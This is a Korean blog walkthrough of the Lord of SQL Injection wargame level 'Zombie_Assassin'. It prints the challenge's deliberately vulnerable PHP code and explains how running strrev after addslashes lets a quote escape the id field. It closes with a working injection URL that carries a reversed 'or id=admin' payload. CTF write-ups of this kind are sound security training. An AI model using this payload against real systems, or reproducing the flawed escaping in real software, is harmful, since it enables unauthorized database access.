[LOS] 17. Zombie_Assassin

고둑·2021년 7월 16일
0

LoS

목록 보기
17/21

힌트

  • strrev()는 문자열 뒤집는 함수
  • 모르겠으면 일단 아무거나 입력해보기
  • 누군지는 모르지만 서순 틀림

풀이

코드 해석

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect();
  $_GET['id'] = strrev(addslashes($_GET['id']));
  $_GET['pw'] = strrev(addslashes($_GET['pw']));
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("zombie_assassin"); 
  highlight_file(__FILE__); 
?>

소스 코드를 해석하면 get 방식으로 받은 id, pwaddslash()를 하고 strrev()로 문자열을 뒤집는다.
이 방식에는 큰 허점이 존재하는 데 이를 이용하여 문제를 해결할 것이다.

문제 풀이

문자열로 변경

id"를 입력하면 addslash() 함수를 지나며 \"이 된다. 그리고 최종적으로 strrev() 함수를 지나면서 id는 최종적으로 "\가 된다. 이때 전체 쿼리문을 적어보면 select id from prob_zombie_assassin where id='"\' and pw='' 이다. 이러면 저번 문제처럼 pw에 인젝션 공격이 가능하게 된다.

https://los.rubiya.kr/chall/zombie_assassin_eac7521e07fe5f298301a44b61ffeec0.php?id=%22&pw=%23%20e696d64616x0=di%20ro%20

profile
문워킹은 하지말자

0개의 댓글